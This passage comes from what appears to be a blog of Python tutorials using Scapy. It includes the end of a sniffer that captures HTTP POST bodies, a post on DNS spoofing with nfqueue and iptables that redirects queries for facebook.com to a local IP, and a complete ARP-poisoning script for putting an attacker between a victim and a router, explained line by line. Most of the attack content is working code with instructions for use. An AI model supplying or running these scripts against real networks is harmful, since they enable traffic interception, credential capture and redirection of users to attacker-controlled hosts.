    prev_body = body
    prev_ack = ack
    if body != '':
        print '\n'+body
        print '-----------------------------------------'

Now if we determine it’s a POST packet we run through the headers again. The host header will just be the domain name while the POST header is the one that specifies where on the domain the document is that we’re sending to. If the packet has a referer header then we include that in the output since that might be somewhat interesting and could flag the packet as coming from somewhere we didn’t want it to come from.

Once we parse the headers we reset the global variables prev_body and prev_ack so we can continually check for packet fragments and finally if the body of the raw load isn’t empty we print that to the screen.
—————————————————–

log.write(pkt.summary()+'\n')
for h in header_lines:
    log.write(h+"\n")
if body != '':
    log.write(body)
    log.write('\n-----------------------------------------\n')

Simply writing the full headers and body to the log file here and separating the packets with a line. We include more data in the log file than we do in the terminal output.
—————————————————–

sniff(iface=interface, filter='tcp port 80', prn=cb, store=0)

Sniff() is a function which captures all packets on a specific interface. In this case I set the interface variable to be wlan0, my wireless interface. Just edit that variable to be your own interface. We’re looking for HTTP POSTs which travel on the TCP layer. Scapy doesn’t have HTTP support built in (although you can look here) so the topmost layer we can narrow it down to is TCP port 80.
—————————————————–
Run script:

python postanalyzer.py

postanalyzer
—————————————————–
Modify the POST data on the fly

If you want to modify the data being sent, check out my previous post on feeding scapy packets using iptables rather than the sniff() function. Reliable DNS spoofing with Python: Scapy + Nfqueue

flattr this!

Posted in Python Tagged with: , ,

Reliable DNS spoofing with Python: Scapy + Nfqueue pt. 1

When you Google, “DNS spoof scapy” every example I can find is technically DNS spoofing but extremely unreliable. Using pure Scapy to create a DNS spoofing script will create a race condition between the spoofed packet from the attacker’s Scapy script and the legitimate response from the router. Should the victim recieve the legit response first their browser will usually cache the result and further attempts to spoof the domain will fail. Today we learn how to fix that. Lets start with some simple Scapy examples and build on those.

Simple Scapy Examples

Sniff packets

from scapy.all import *
def callback(pkt):
    if pkt.haslayer(TCP):
        print pkt.summary()
        print pkt.show()
        print pkt[TCP] # equivalent to: print pkt.getlayer(TCP)
sniff(filter=”port 80”, prn=callback, store=0, iface=’wlan0’)

The above code will capture and print all the details of every packet that arrives on port 80 to the interface wlan0. Sniff() is a built in function of scapy that collects all the packets you tell it to then dumps them off in a callback function. store=0 just means that sniff() won’t store the packets it captures in memory. prn= is the function that sniff() will place the packets it captures into. In this case that’s callback().

Examples of filters you can use at http://biot.com/capstats/bpf.html

Inject packets

When injecting packets you have two choices, create a new packet from scratch or modify one that sniff() captured. To create one from scratch you can do something like this:

pkt=Ether()/IP(dst="new.ycombinator.com")/TCP()/"GET /index.html HTTP/1.0 \n\n"

This created a TCP packet destined for slashdot.org requesting that page’s html.The rest of the packet’s options are automatically set to default values by Scapy because Scapy’s a nice guy. You’ll notice Scapy uses layers to build packets. packet = Ether()/IP()/TCP(), ether layer, followed by IP layer, followed by TCP layer which can have HTTP headers and payloads attached in the form of a raw load (which you can see with packet[Raw].load).To send this packet simply use the send() function:

send(pkt)

To continuously send the packet:

send(pkt, loop=1)

Lets put those together and modify a packet that sniff() receives from the host 192.168.0.5.

def callback(pkt):
    if pkt.haslayer(DNS):
        pkt[DNS].dport = 10000
        send(pkt)
sniff(filter=”host 192.168.0.5”, prn=callback, store=0, iface=’wlan0’)

This example will collect all packets from/to 192.168.0.1 from interface wlan0, check if that packet has a DNS layer, change the packet’s destination port to 10000, then send it off with all the other values being the same as the original.

Here’s a DNS spoofing example that’s a little more complex but same concept as above.

from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '172.16.1.63'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)

Within the DNS layer of spoofed_pkt:

-rdata is the value we change to redirect them elsewhere
-aa means the responding nameservers are authoritative for this domain
-id is a 16 bit identifier assigned by the program that generates the query
-qr is a 1 bit field that specifies DNS query (0) or response (1)

The callback function dns_spoof() is waiting for a packet with a DNSQR record, meaning a packet that is requesting the IP address of a specific domain. You can see the domain the client requested by printing pkt[DNSQR].qname. It then copies the relevant values from the DNS request packet and places them into a DNS response packet named spoofed_pkt which it sends to the client that requested the DNS record.

The above is the kind of example you’ll find in nearly every result from a Google search of dns spoofing and Scapy. In both of these examples the original DNS request packet is still being sent along with the modified packet meaning it is an unreliable way to spoof DNS. It’s a race condition with the router to supply the client with a DNS response packet. Whichever packet makes it to the client first, be it the router’s legit response or our spoofed response, will be cached on the victim’s browser and be used for the actual domain to IP lookup. Scapy has no means to block packets. The solution to this problem is to use iptables to drop or forward packets. Nfqueue-bindings is the Python module we will use to interact with iptables and forward or block certain packets.

Scapy + nfqueue for Packet Blocking, Modification, and Forwarding

Install nfqueue-bindings:

apt-get install python-nfqueue

or

yum install python-nfqueue

nfqueue-bindings will let you interact with packets you queue up with iptables after you set up an iptables packet queue using the command:

iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE

These rules will place every UDP packet from or to port 53 into a queue where they can then be manipulated with the Python nfqueue-bindings. It should be noted that if you are DNS spoofing while performing a MITM attack like ARP poisoning or FakeAP attack then you can’t use the OUTPUT chain or else you’ll only catch your own DNS packets. The PREROUTING chain is the chain that packets enter prior to getting any routing instructions. The OUTPUT chain is for packets that are created and sent from the iptables machine itself. For testing purposes we will be using the OUTPUT chain so you can run the script and see how it’s working without going through the hassle of getting out multiple devices and Man-In-The-Middling one of them.

Simple nfqueue-bindings + Scapy Examples

import nfqueue
from scapy.all import *
import os
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    payload.set_verdict(nfqueue.ACCEPT)
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_NET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
main()

In order to give our script the ability to drop, forward or modify packets without the original still going out we have to replace the sniff() function with q.try_run(). We start by running the iptables command to push certain packets (udp packets to port 53 in this case) into an iptables queue then we use nfqueue_setup() to create the queue object. q.set_callback(callback) is obviously where we put the callback function. Nfqueue-bindings will give that function every packet it receives as an argument we’re calling “payload”. Once the packet is in the callback function we pull the data from it then place the data into a Scapy IP packet.

It is important to note that iptables is a layer 3 tool meaning it isn’t able to read Ethernet header data like the to and from MAC address fields. Normally when you catch a packet using the sniff() function it’ll look something like: pkt = Ether()/IP()/TCP() but since iptables can’t access the Ethernet layer packets caught using nfqueue-bindings will look like: pkt = IP()/TCP().

Once the packet is in a form Scapy can parse, we can start modifying whatever we want. In the above example we modify nothing. We just pass the packet along it’s way with payload.set_verdict(nfqueue.ACCEPT).

We also have an exception to catch Ctrl-C’s. If Ctrl-C is caught then we unbind the socket the queue object is bound to, close down the queue object, flush the iptables rules, and then exit the script. Below is an example of how we could modify the packet then send it on its way without the original unmodified packet ever traveling down the wire.

import nfqueue
from scapy.all import *
import os
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    if pkt.haslayer(DNSQR): # Beginning modifications
        pkt[IP].dst = '3.1.33.7'
        pkt[IP].len = len(str(pkt))
        pkt[UDP].len = len(str(pkt[UDP]))
        del pkt[IP].chksum
        payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
main()

We’re doing a couple important things in the modification section of the callback() function. First we’re changing the destination IP address from whatever it was to ‘3.1.33.7’ then we recalculate the length field in the IP header. You will get the same results whether you recalculate using len(str(pkt)) or len(str(pkt[IP])) since there are no Ethernet header fields.

Next we recalculated the length header in the UDP layer. This step is not strictly necessary since we didn’t adjust any parameters within the UDP layer but it’s included for completeness in this tutorial. After that we delete the IP checksum. Scapy is a nice guy so when you delete the checksum he automatically repopulates it with the accurate values. Finally, we throw down a ruling on what’s going to happen to this poor mangled packet with the set_verdict_modified() attribute which will allow modified packets to proceed along their way.

Other than payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt)) to pass modified packets down the wire, the most common rulings will generally be payload.set_verdict(nfqueue.NF_ACCEPT) and payload.set_verdict(nfqueue.NF_DROP). These are fairly self-explanatory. The first will allow the packet to continue to its destination unperturbed and the second will never let the packet leave the machine. Stuck in the endless /dev/null abyss…

You can actually get by without ever using the set_verdict_modified() function. Just use payload.set_verdict(NF_DROP) at the beginning of the callback function, copy the packet, make modifications, and then at the end of the callback function just run send(modified_packet). So you’re copying the packet, dropping it with iptables, then sending the copied and possibly modified packet with Scapy. I ran some speed tests and it is significantly faster to use iptables and nfqueue to send the packet than using Scapy so use the set_verdict_modified() when you can.

Let’s put all this together into a reliable DNS spoofing script. Note that the following script will only DNS spoof the machine that is running it limiting its usefulness. We will change that when we add ARP poisoning in coming examples.

import nfqueue
from scapy.all import *
import os
domain = 'facebook.com'
os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')
def callback(payload):
    data = payload.get_data()
    pkt = IP(data)
    if not pkt.haslayer(DNSQR):
        payload.set_verdict(nfqueue.NF_ACCEPT)
    else:
        if domain in pkt[DNS].qd.qname:
            spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))
            payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
            print '[+] Sent spoofed packet for %s' % domain
def main():
    q = nfqueue.queue()
    q.open()
    q.bind(socket.AF_INET)
    q.set_callback(callback)
    q.create_queue(0)
    try:
        q.try_run() # Main loop
    except KeyboardInterrupt:
        q.unbind(socket.AF_INET)
        q.close()
        os.system('iptables -F')
        os.system('iptables -X')
        sys.exit('losing...')
main()

This should make a 100% reliable DNS spoofing script with no race condition because the DNS request never even makes it to the router or destination server. We’re waiting for a DNS request by looking for a packet with the DNSQR (Domain Name System Question Record) layer that contains the string ‘facebook.com’. Before the packet can even leave the machine we reverse the destination and source IP along with the destination and source port so instead of being sent out to the router and beyond, it gets shot right back to the DNS spoofing victim.

We populate the DNS layer with the the same id and qd fields, but change qr to 1 for response rather than the original 0 which is request. The answer section (an) then gives the local IP address as the location of the requested domain (rrname). You’ll notice a lack of IP and UDP length header updates and no deletion of the IP checksum. This is because we’re making a whole new packet rather than copying the existing one and those fields are populated accurately by Scapy automatically. This is in contrast to the previous example where we took the original packet, modified one or two variables and then sent it on it’s way which would keep the checksum and length variables the same as the original packet.

It’s great that we have a working DNS spoofing script, but as it stands it only DNS spoofs the machine that’s running it. In order to actually make it useful we’ll need to implement a MITM attack in parallel as well as change the iptables rule from:

os.system('iptables -A OUTPUT -p udp --dport 53 -j NFQUEUE')

to:

os.system('iptables -t nat PREROUTING -p udp --dport 53 -j NFQUEUE')

The simplest, yet still highly effective, MITM method continues to be ARP poisoning. See http://danmcinerney.org/arp-poisoning-with-python-2/ for a clean and simple ARP poisoner in Python. Normally if we needed to run 2 functions in parallel like q.try_run() and a constant stream of spoofed packets to poison victims’ ARP tables we would thread the two functions to run in parallel.

COMING IN PART 2:

There’s a major problem with the approach described above though, q.try_run() is a blocking call! So if we were to thread the two methods then the ARP poisoner would only fire off packets when q.try_run() received packets leading to very unreliable ARP poisoning. In order to solve this little predicament we will switch direction from creating a multithreaded script to an asynchronous one in part 2 of this blog post. To learn more about asynchronous programming, see http://krondo.com/blog/?p=1209.

flattr this!

Posted in Python Tagged with: , , , , ,

ARP poisoning with Python

#!/usr/bin/python
from scapy.all import *
import argparse
import signal
import sys
import logging
import time
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-v", "--victimIP", help="Choose the victim IP address. Example: -v 192.168.0.5")
    parser.add_argument("-r", "--routerIP", help="Choose the router IP address. Example: -r 192.168.0.1")
    return parser.parse_args()
def originalMAC(ip):
    ans,unans = srp(ARP(pdst=ip), timeout=5, retry=3)
    for s,r in ans:
        return r[Ether].src
def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
    sys.exit("losing...")
def main(args):
    if os.geteuid() != 0:
        sys.exit("[!] Please run as root")
    routerIP = args.routerIP
    victimIP = args.victimIP
    routerMAC = originalMAC(args.routerIP)
    victimMAC = originalMAC(args.victimIP)
    if routerMAC == None:
        sys.exit("Could not find router MAC address. Closing....")
    if victimMAC == None:
        sys.exit("Could not find victim MAC address. Closing....")
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
        ipf.write('1\n')
    def signal_handler(signal, frame):
        with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
            ipf.write('0\n')
        restore(routerIP, victimIP, routerMAC, victimMAC)
    signal.signal(signal.SIGINT, signal_handler)
    while 1:
        poison(routerIP, victimIP, routerMAC, victimMAC)
        time.sleep(1.5)
main(parse_args())

Example usage:

python arpspoof.py -v 192.168.0.5 -r 192.168.0.1

Script breakdown:
Most of this core code can be found at http://www.blackhatlibrary.net/Python#Scapy

from scapy.all import *
import argparse
import signal
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

If you don’t add the logging.getLogger… part then every time you run the script you’ll get an ignorable warning from scapy, “WARNING: No route found for IPv6 destination :: (no default route?)” Note that we are not being super efficient here, we’re just importing whole libraries. If you wanted to streamline this you’d do stuff like,

from sys import exit

and instead of calling it with “sys.exit()”, you’d just call “exit()”
—————————————————–

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-v", "--victimIP", help="Choose the victim IP address. Example: -v 192.168.0.5")
    parser.add_argument("-r", "--routerIP", help="Choose the router IP address. Example: -r 192.168.0.1")
    return parser.parse_args()

Create arguments for the script. Call the argument values with parser.parse_args().victimIP or parser.parse_args().routerIP. If you wanted to have arguments that only stored themselves as True or False, then you’d add an argument like so: parser.add_argument(“…”, action=”store_true”) so now you could check if the user called that argument with something like:

if parser.parse_args().victimIP:
    print "User gave the victimIP argument flag when running the script"
else:
    print "User did not give the victimIP argument flag when running the script"

—————————————————–

def originalMAC(ip):
    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
    for s,r in ans:
        return r.sprintf("%Ether.src%")

This function automatically gathers the MAC addresses from local network machines when only given their IPs. In the second line of this snippet we send a crafted ARP packet to an IP address. ARP packets can either be requests (who-has) or replies (is-at) which correspond to the values 1 and 2 respectively. Default value is 1 (who-has) so this function just sends a packet to the IP asking what their MAC address is and then reads the response “for s,r in ans:” part; s stands for send, r stands for receive, and ans stand for answer. You can change the type of ARP packet if you created that layer like:

ARP(op=2) or alternatively ARP(op="is-at")

—————————————————–

def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))

Sends spoofed packets to the router and victim. The first send() is an ARP packet whose MAC source address will be the attacking machine’s since we didn’t specify a hwsrc value. It is telling the packet destination IP (packet destination = victimIP) that the router’s MAC address (packet source = routerIP) is at (op=2) the attacker’s MAC address (since we didn’t specify a hwsrc value and the packet is being crafted and sent from the attacker’s machine). The second send() is the same thing in reverse so now the router will send all packets destined for the victim to the attacker, and the vicitim will send all packets destined for the router to the attacker.
—————————————————–

def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
    sys.exit("losing...")

Since we want to keep a low profile and not break the network when we exit the script we will create a restoration function which reverses what we did with the poison() function. Basically we’re just sending packets to the victim and router updating their ARP tables to store accurate information about which IP address is linked to which MAC address. count=3 means we’ll send the packet 3 times. Last we print “^Closing…” to the terminal. When you hit Ctrl-C it automatically adds a “^C” to the terminal output so we’re just using that “^C” and adding a “losing…” so it looks a little cleaner.
—————————————————–

if os.geteuid() != 0:
    sys.exit("[!] Please run as root")

A quick check to see if the user is running as root.
—————————————————–

routerIP = args.routerIP
victimIP = args.victimIP
routerMAC = originalMAC(args.routerIP)
victimMAC = originalMAC(args.victimIP)
if routerMAC == None:
    sys.exit("Could not find router MAC address. Closing....")
if victimMAC == None:
    sys.exit("Could not find victim MAC address. Closing....")

Run the IPs given as arguments through the originalMAC() function which will ask those IP addresses for their MACs. It will retry 3 times due to the retry=3 argument within the send() function. If one or the other do not respond with a “is-at” ARP packet then we cannot continue.
—————————————————–

with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
    ipf.write('1\n')

We have to enable IP forwarding on the attacking machine or it won’t forward the packets from the victim to the router and the router to the victim so we just write 1 for true in the config file.
—————————————————–

def signal_handler(signal, frame, ipf):
    with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
        ipf.write('0\n')
    restore(routerIP, victimIP, routerMAC, victimMAC)
signal.signal(signal.SIGINT, signal_handler)

This is a function that will only work when placed inside the main function. It’s purpose is to catch Ctrl-C’s and then perform an action upon recieving it. You’ll find many examples of code that just use:

try:
   main()
except KeyboardInterrupt:
   do_something()

But I found that this was not sufficient for catching most, if any, Ctrl-C’s. Using signal handler to grab the Ctrl-C signal is much, much more effective. See http://stackoverflow.com/questions/1112343/how-do-i-capture-sigint-in-python for a more technical explanation of why. Once the signal is caught we turn off IP forwarding we restore first the router’s ARP table then the victim’s.
—————————————————–

while 1:
    poison(routerIP, victimIP, routerMAC, victimMAC)
    time.sleep(1.5)

Script enters an infinite loop where it sends 2 spoofed packets every 1.5 seconds; one to the victim and one to the router. I have experimented with various timings starting with 3 seconds but that would occasionally end up being too slow and the router or victim’s ARP table would update for a little bit with accurate values. Lowered it to 2 seconds and still saw a rare mix up where accurate values would be stored temporarily leading to packets going to their accurate destinations rather than through the attacker’s machine. 1.5 seconds has not given me any trouble on all the different networks I’ve tested it on.
—————————————————–

Example usage:

python arpspoof.py -v 192.168.0.5 -r 192.168.0.1

In order to run this script you’ll need to copy it into a text file locally, then give it two the two arguments it desires; victim IP and router IP. Make sure you run as root. As it stands scapy’s conf.verb variable is set to 1 which means it’ll output all the things that it’s doing so every time it sends a spoofed packet it’ll output that to the terminal. To remove this just set conf.verb=0 at the beginning of the script like perhaps after the logging.getLogger() part.

flattr this!

Posted in Python Tagged with: , , , ,